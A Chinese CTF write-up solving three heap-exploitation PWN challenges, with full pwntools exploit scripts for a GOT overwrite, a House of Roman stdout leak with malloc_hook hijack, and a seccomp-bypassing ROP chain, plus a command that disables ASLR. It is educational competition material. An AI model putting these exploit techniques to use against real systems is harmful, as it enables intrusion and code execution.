高校戰“疫”網路安全分享賽-部分PWN題-wp
高校戰“疫”網路安全分享賽-部分PWN題-wp
1.本文由複眼小組的RGDZ師傅原創 2.本文共3500字,圖片30張 預計閱讀時間10分鐘 3.由於筆者水平有限,所以部分操作可能不是最優的,如果各位看官還有更好的方法,歡迎您到評論區分享一下!
0x00.前言:
週末打了下 《高校戰“疫”網路安全分享賽》,作為WEB
轉PWN
的菜鳥,只做出了三個PWN
, 雖然被大佬們暴捶,但還是學到了幾個操作,這裡寫一份WP
,記錄一下。
0x01.easy_heap:
1.函式分析:
這道題比較簡單,checksec如下:
main函式如下:
在del函式可以發現指標已經清0
add函式如下:
我們可以發現,其現申請的ptr
指標然後再給其賦值,如果我們申請的時候,輸入大於0x400
的size
,雖然函式退出,但是實際上ptr[i]
裡面已經有指標了,而且上面的del函式釋放時並沒有給size清空,漏洞點就在這裡
2.思路簡述:
我們可以現申請一個0x60和0x70的fastbin,然後釋放掉,此時fastbin的連結串列如下:
之後我們再add(0x500)
一下,ptr[0]
就等於第一個fastbin,同時其fd
指標還保留了留在0x1552000
也就是第二個fastbin的指標地址,所以這個時候我們編譯ptr[0]
也就是編輯第二個fastbin,之後我們可以在add(0x20)
一下,add(0x50)
把第二個bin拿出來,同時拿到ptr[2]
之後我們編輯ptr[0]
實際上就可以控制ptr[1]
, 現在ptr的堆疊情況如下:
所以我們編輯ptr[0]
來使得ptr[1]
的指標變成170
也就是ptr[2]
,(注:這裡地址不一樣是因為我本地開了ASLR
,我是在指令碼里面直接下的斷點,但後三位偏移是一樣的。)所以當我們在去編輯ptr[1]
時實際上就是在編輯ptr[2]
的chunk,如圖:
由於程式沒有開啟got
保護,而且題目沒有給出輸出函式,所以我們可以先想辦法洩露,我們可以先透過ptr[1]
修改ptr[2]
的指標指向free_got
,在透過編輯ptr[2]
來修改free_got
為puts_plt
,在回去編輯ptr[1]
來修改ptr[2]
為atoi_got
,這樣當我們free掉ptr[2]
後,就能洩露atoi
的地址,計算出libc
基地址,我們在透過編輯ptr[0]
來使得ptr[1]
指向atoi_got
,在編輯ptr[1]
來修改atoi_got
為system
的地址,這樣下一次輸入時輸入/bin/sh
就可以getshell了。
3.完整EXP:
from pwn import * context.log_level = "debug" io = process("easyheap") # io = remote("121.36.209.145", 9997) elf = ELF('easyheap') libc = ELF("libc.so.6") def c(idx): io.sendlineafter("Your choice:", str(idx)) def add(size, buf): c(1) io.sendlineafter("How long is this message?", str(size)) io.sendafter("What is the content of the message?", buf) def free(idx): c(2) io.sendlineafter("What is the index of the item to be deleted?", str(idx)) def edit(idx, buf): c(3) io.sendlineafter("What is the index of the item to be modified?", str(idx)) io.sendafter("What is the content of the message?", buf) add(0x60, '\x00') add(0x70, '\x00') free(0) free(1) c(1) io.sendlineafter("How long is this message?", str(0x500)) add(0x20, '\xaa') add(0x50, '\xaa') buf = p64(0) buf += p64(0x21) buf += '\x70' #fix edit(0, buf) attach(io) edit(1, p64(elf.got['free'])) edit(2, p64(elf.plt['puts'])) edit(1, p64(elf.got['atoi'])) free(2) io.recv() atoi_addr = u64(io.recv(6)+"\x00\x00") libcbase = atoi_addr - libc.symbols['atoi'] system_addr = libcbase + libc.symbols['system'] log.info("libcbase: 0x%x"%libcbase) log.info("system addr: 0x%x"%system_addr) # 2 is 0 so fix 1 buf = p64(0) buf += p64(0x21) buf += p64(elf.got['atoi']) #fix atoi to system buf += p64(0x500) edit(0, buf) edit(1, p64(system_addr)) io.recv() io.sendline("/bin/sh") io.interactive()
0x02.woodenbox:
這題的提示很明顯,基本就是Roman
,但這次我臉太黑,爆破一晚上,沒跑出flag,最後查略資料發現Roman
其使用在fastbin attack
環節先去攻擊stderr+157
這個地址,這個偏移是固定,在2.23
版本的libc
中,之後填充0x33就可以攻擊stdout結構體,從而可以製造洩露,這樣就能把原先Roman
的攻擊機率從1/4096
,提高到1/16
,成功率大大提高,這裡以這道題來例項分析一下流程。
1.函式分析:
add函式如下:
edit函式如下,這裡可以發現很明顯的堆溢位了,重新輸入了size
,但並沒有重新申請chunk
remove函式如下:
這裡會比較繞,作者用了一個items
,一個ptrs
同時控制資料陣列,實際上我們一看地址就清楚了,如圖,items
和ptrs
的地址:
這裡實際上items
是指向第一個資料塊的size
,ptrs
指向第一個資料塊的ptr
,所以可以定義如下結構:
這樣看著就清楚多了,這還有一個點比較坑,作者移除資料塊是非正常移動,在把items[i]
置為0後,就開始往上移動,items[0]
塊相當於消失,下方的塊上移一次,所以控制chunk
下標時要注意,同時最後一個塊也就是item[11]
並不會消失,除非主動刪除他
2.思路簡述:
在除錯這題時我們可以先關閉aslr
隨機化
echo 0 > /proc/sys/kernel/randomize_va_space
我們依然先使用Roman
開題手法,先拿到一個unsorted bin
然後透過上一個chunk
溢位來覆蓋size域和fd後4位,其中第一位需要爆破也就在這裡
當我們完成unsorted bin(覆蓋size域後其在fastbin裡面)的fd
覆蓋後,如圖:
我們最後四位覆蓋為"\x25\xdd"
這個偏移是2.23libc
是固定的,我們fastbin attack
後可以拿到stderr+173
其目的是為了控制stderr+221
實際上就是覆蓋stdout結構體中_IO_write_base
,如圖:
關於stdout的更多細節可以參考:
- 從一題看利用IO_file to leak——https://xz.aliyun.com/t/5057
這樣就可以進行洩露對了覆蓋是我們還多覆蓋了"\x00"
,這樣就可以使得其輸出一個0x7ffff7dd2600
這裡我們將a3
變成00
這樣可以截斷輸出,0xffff7dd2600
實際上是stderr+192
,如圖:
完成上面步驟我們就成功洩露了libc
基地址,接著就可以直接改malloc_hook為one_gadget
,最後觸發malloc_printerr
來getshell
,題目已經在leave
給出:
3.完整EXP如下:
from pwn import * context.log_level = "debug" # io = process("./woodenbox2") elf = ELF('./woodenbox2') libc = ELF('./libc.so') def c(idx): io.sendlineafter("Your choice:", str(idx)) def add(size, buf): c(1) io.sendafter("Please enter the length of item name:", str(size)) io.sendlineafter("Please enter the name of item:", buf) def edit(idx, buf): c(2) io.sendlineafter("Please enter the index of item:", str(idx)) io.sendafter("Please enter the length of item name:", str(len(buf))) io.sendafter("Please enter the new name of the item:", buf) def free(idx): c(3) io.sendlineafter("Please enter the index of item:", str(idx)) def pwn(): add(0x20, '') # 0 add(0x20, '') # 1 add(0x60, '') # 2 add(0x60, '') # 3 add(0x60, '') # 4 add(0x60, '') # 5 add(0x80, '') # 6 #unsort bin add(0x60, '') # 7 add(0x60, '') # 8 add(0x60, '') # 9 # add(0x80, '') # 10 add (0x20, '') # free add(0x60, '') # 11 free(6) # free(6) free(2) buf = '\x00'*0x68 buf += p64(0x71) buf += "\x20" edit(0, buf) buf = '\x00'*0x68 buf += p64(0x71) buf += p16(0x25dd) # stderr+157 edit(2, buf) attach(io) add(0x60, '') add(0x60, '') add(0x60, '') # stderr+157 # attack stdout buf = '\x00'*0x33 buf += p64(0xfbad2887|0x1000) buf += p64(0)*3+'\x00' edit(4, buf) # leak _IO_2_1_stdout_+131 # leak libcbase stdout_a = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) log.success("stdout_a: 0x%x"%stdout_a) libc.address = stdout_a - libc.sym['_IO_2_1_stderr_'] - 192 log.success("libcbase: 0x%x"%libc.address) free(6) # malloc_hook_near = "\xed\x1a" malloc_hook_near = p64(+libc.sym['__malloc_hook']-0x23) buf = '\x00'*0x68 buf += p64(0x71) buf += malloc_hook_near edit(4, buf) #fix fastbin and attack malloc-0x23 # attack malloc free(6) free(6) add(0x60, '') add(0x60, '') add(0x60, '') # malloc_hook -0x13 #fix fastbin free(3) edit(5, p64(0)) # # unsorted bin attack # buf = '\x00'*0x68 # buf += p64(0x90) # buf += p64(0) # buf += "\x00" # edit(1, buf) # add(0x80, '') # attack get shell one_gadget = libc.address + 0xf02a4 # one_gadget = p64(one_gadget)[:3] buf = '\x00'*0x13 buf += p64(one_gadget) edit(4, buf) # gdb.attach(io) c(4) io.interactive() for i in range(200): try: # io = remote("121.36.215.224", 9998) io = process("./woodenbox2") pwn() except: print(i)
0x03.lgd:
這題說句實話,感覺就是出題人有點噁心
首先開了一個BCF(虛假控制流)
一看有點嚇人,實際上我當時想去除這種混淆,但之前沒有好好研究過這種混淆,參考了看雪的這篇帖子:
- Hex-Rays: 十步殺一人,兩步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm
但是沒有成功,不過不影響。
1.函式分析:
我們僅僅關注關鍵點:
在add函式中:
第一處其申請一個size<0x1000
的chunk放在buf[i]
,i最大是32
第二處將輸入的字元的長度賦值到size
第三處將size放入sizes[i]
del函式關鍵如下:
釋放buf[i]
這裡b, c
都是bss段上的常量,而且預設都是0,這種BCF混淆的一種手法,整個程式沒有一個地方堆b,c
進行賦值,所以這裡就是將buf[i]
清0
edit函式如下:
這裡的size
實際上我們在add函式時輸入字元的長度,所以這裡就是一個典型的堆溢位
show函式如下:
這裡可以進行洩露
2.思路簡述:
我們首先利用unsorted bin
進行洩露拿到libc基地址,之後原本以為就正常的fastbin attack
改hook get_shell,但打了半天打不通後才發現其開了函式禁用
所以這裡我們得想辦法繞過,典型的orw
即open read write
就是構造shellcode或者rop鏈來執行open
函式開啟檔案,read
讀取內容,write
函式輸出
這裡沒有可執行的區域,所以我選擇構造rop
鏈,這裡可以參考安全客的這篇文章
- 一道CTF題目學習prctl函式的沙箱過濾規則——https://www.anquanke.com/post/id/186447#h3-14
實際簡單的說就是先洩露libc
中environ變數的值
計算偏移得到main函式的rbp
地址然後將rop
鏈寫入棧中,當main函式執行後退出後就能劫持程式執行流,比較常規的操作
計算main函式rbp
的偏移可以使用文章用的
可以計算出偏移為0xf8
那麼我們怎麼才能洩露environ
以及往棧裡面寫rop
鏈呢?
我們發現sizes
距離buf
很近僅僅0x80
的位元組,而且sizes[i]
與buf[i]
中chunk的真實size並無聯絡可以藉此溢位,所以我們可以多構造幾個sizes[i]
為0x7F
這樣就能輕鬆控制buf
的內容,從而實現任意地址寫,和任意地址讀(構造的rop
鏈可以參考安全客的文章)
但是當我向main函式的返回地址,也就是rbp的地址
寫入rop
鏈後程式並沒去執行rop
,我才注意到main函式並非直接返回,而是執行exit(0)
直接退出,但這樣我們就不能執行rop
鏈,此處多次思考無果,後有師傅說去劫持eixt函式,這裡參考安全客的這篇文章
- 詳解 De1ctf 2019 pwn——unprintable —— https://www.anquanke.com/post/id/183859
但我實際去劫持的時候失敗了,這裡回頭在實驗實驗,然後還有師傅說利用SROP
,修改free_hook
為context
然後將bss段改為可執行,寫入shellcode
的執行,額,哇靠有點操作難度,感覺比較複雜,那麼有沒有在簡單的方法呢?實際還有,我們注意edit函式,這裡在看一下
我們發現其向buf[i]
寫完東西以後就直接退出了,所以我們是否可以去劫持他的返回地址而不是main函式的返回地址呢?
答案是可行的,我們來看一下他的偏移
經過計算發現其偏移等於main_rbp-0x130
也就是environ-0x228
所以我們這一次將目標地址寫入這裡,在寫入之前注意我們需要再申請一塊chunk,主要目的是使得sizes[i]
的大小足夠我們寫入rop
鏈,這裡申請0x200
好了
3.完整EXP如下:
from pwn import * context.arch = 'amd64' context.log_level = "debug" io = process("./pwn") # io = remote("121.36.209.145", 9998) elf = ELF("./pwn") libc = ELF("./libc.so.6") def init(): name = "wo si n baba!!!!,sb chu ti ren" io.sendafter("son call babaaa,what is your name? ", name) def c(idx): io.sendlineafter(">> ", str(idx)) def add(size, real_size=0x7E): c(1) io.sendlineafter("______?", str(size)) io.sendlineafter("start_the_game,yes_or_no?", "a"*(real_size)) def free(idx): c(2) io.sendlineafter("index ?", str(idx)) def show(idx): c(3) io.sendlineafter("index ?", str(idx)) def edit(idx, buf): c(4) io.sendlineafter("index ?", str(idx)) io.sendafter("___c___r__s__++___c___new_content ?", buf) init() add(0x80) add(0x20) free(0) add(0x80) show(0) main_arena_88 = u64(io.recvuntil("\x7f")[1:].ljust(8, '\x00')) libc_addr = main_arena_88 - (0x7fcadeb17b78-0x7fcade753000) libc.address = libc_addr log.success(hex(libc.address)) add(0x10) add(0x60) add(0x10) #attack bss free(3) buf = "\x00"*0x18 buf += p64(0x71) buf += p64(0x603268) #0 edit(2, buf) add(0x60) add(0x60) # 5 # leak environ buf = '\x00'*0x68 buf += p64(libc.symbols['environ']) edit(5, buf) show(0) environ = u64(io.recvuntil("\x7f")[1:].ljust(8, "\x00")) log.success("environ: 0x%x"%environ) free(1) add(0x80, 0x200) io.recv() # attack stack and malloc_hook main_rbp_addr = environ - 0xf8 malloc_hook_addr = libc.symbols['__malloc_hook'] log.success("malloc_hook_addr: 0x%x"%malloc_hook_addr) buf = '\x00'*0x60 buf += "flag".ljust(8, "\x00") buf += p64(0) # 0 buf += p64(main_rbp_addr-0x130) # 1 edit(5, buf) layout = [ # "flagx00x00x00x00", # ret 0x0000000000400711, # ret 0x0000000000400711, # ret 0x0000000000400711, # ret 0x00000000004023b3, # : pop rdi ; ret 0x603268+0x70, # stack_addr - 0xf8, 0x00000000004023b1, # : pop rsi ; pop r15 ; ret 0, 0, libc_addr + 0x0000000000033544, # : pop rax ; ret 2, # sys_open libc_addr + 0x00000000001077F5, # : syscall ; ret 0x00000000004023b3, # : pop rdi ; ret 3, 0x00000000004023b1, # : pop rsi ; pop r15 ; ret 0x6033E0, 0, libc_addr + 0x0000000000001b92, # : pop rdx ; ret 0x100, elf.plt['read'], 0x00000000004023b3, # pop rdi 1, 0x00000000004023b1, # pop rsi 0x6033E0, 0, libc_addr + 0x0000000000001b92, # pop rdx 0x50, libc_addr + 0x0000000000033544, # pop eax 1, libc_addr + 0x00000000001077F5, #syscall elf.plt['exit'] ] c(4) io.sendlineafter("index ?", str(1)) # attach(io) io.sendafter("___c___r__s__++___c___new_content ?", flat(layout)) io.interactive()
0x04.總結:
這次雖然只做出了3道題,但還是學到很多姿勢,特別最後一道,就感覺知識遷移能力很重要,以及做題的時候很多需要靈活應變,感覺收穫還是滿滿的,期待大佬們其他題的WP.還請各位大佬多多擔待,有什麼新的想法歡迎在公眾號的後臺留言提出。
0x05.參考文章:
從一題看利用IO_file to leak——https://xz.aliyun.com/t/5057
Hex-Rays: 十步殺一人,兩步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm
一道CTF題目學習prctl函式的沙箱過濾規則——https://www.anquanke.com/post/id/186447#h3-14
詳解 De1ctf 2019 pwn——unprintable——https://www.anquanke.com/post/id/183859
相關文章
- 各位師傅 高校戰“疫”網路安全分享賽福利花車來襲2020-03-04
- 2024高校網路安全管理運維賽 wp2024-10-07運維
- 同氣連枝共克時艱,同心戰疫靜待花開,高校戰“疫”網路安全分享賽完美收官2020-03-10
- DASCTF2022.07賦能賽PWN部分WP2024-08-02TF2
- 2021年春秋杯網路安全聯賽秋季賽 勇者山峰部分wp2021-11-28
- NCTF2022 - pwn 部分 wp2022-12-05TF2
- 長安“戰疫”網路安全衛士守護賽writeup2022-01-08
- 高校網路安全管理運維賽20242024-05-07運維
- XCTF高校網路安全專題挑戰賽 |華為雲專場重磅開啟!2020-12-17
- XCTF高校網路安全專題挑戰賽丨HarmonyOS和HMS專場真題提前曝光?!2021-01-05
- 2024春秋杯網路安全聯賽夏季賽-PWN-Writeup2024-07-09
- buuctf部分題目wp2020-10-23
- 2021能源PWN wp2021-10-21
- [CISCN2024]華中半決賽 PWN部分題解2024-06-25
- 高校運維賽WEB部分-gxngxngxn2024-05-07運維Web
- 四川省職工職業技能大賽網路安全決賽WP2024-08-02
- XYCTF pwn部分題解 (部分題目詳解)2024-04-29
- PolarCTF-Pwn的WP2024-12-05
- PolarCTF-Pwn(中等)WP2024-12-05
- 第二屆美團網路安全高校挑戰賽M-Champion,今日起正式啟動報名!2020-10-20
- 2024ICPC網路賽第一場題解(部分)2024-09-15
- 烽火十八臺丨這麼多年過去了,部分高校網路資產安全治理還在走彎路?2022-11-08
- NewStarCTF 2023 公開賽道 WEEK4|MISC 部分WP2023-10-29
- [原創]乾貨 | 雲安全挑戰賽線上熱身賽冠軍戰隊解題分享2019-06-12
- ISCC 2024 部分WP2024-09-12
- 智慧安全3.0助力高校網路安全保障體系建設2021-08-13
- “新華三杯”高校網路安全競技大賽落幕,以主動安全護航智慧校園2020-09-27
- 2024年數字中國創新第四屆紅明谷杯網路安全大賽WP2024-07-21
- 網路攻擊肆虐,高校如何構築網路安全屏障?2022-09-22
- 第二屆資料安全大賽“數信杯”資料安全大賽 WP2024-07-21
- 第三屆“強網杯”全國網路安全挑戰賽圓滿落幕2019-06-19
- UNCTF2021-reverse-部分wp2021-12-10TF2
- 以賽促學 以賽促練|北京某985高校聯合綠盟科技開展網路安全攻防演練2021-12-20
- 第二屆黃河流域網路安全技能挑戰賽-esay_encrypt2024-05-13
- HTTPS:網路安全攻堅戰2021-02-26HTTP
- 2020全國高校計算機能力挑戰賽2020-11-30計算機
- 全國高校計算機能力挑戰賽 Java2020-11-29計算機Java
- 行業賦能 | 盛邦安全2022高校網路安全研討會——網路資產安全治理(湖北站)成功舉辦2022-11-11行業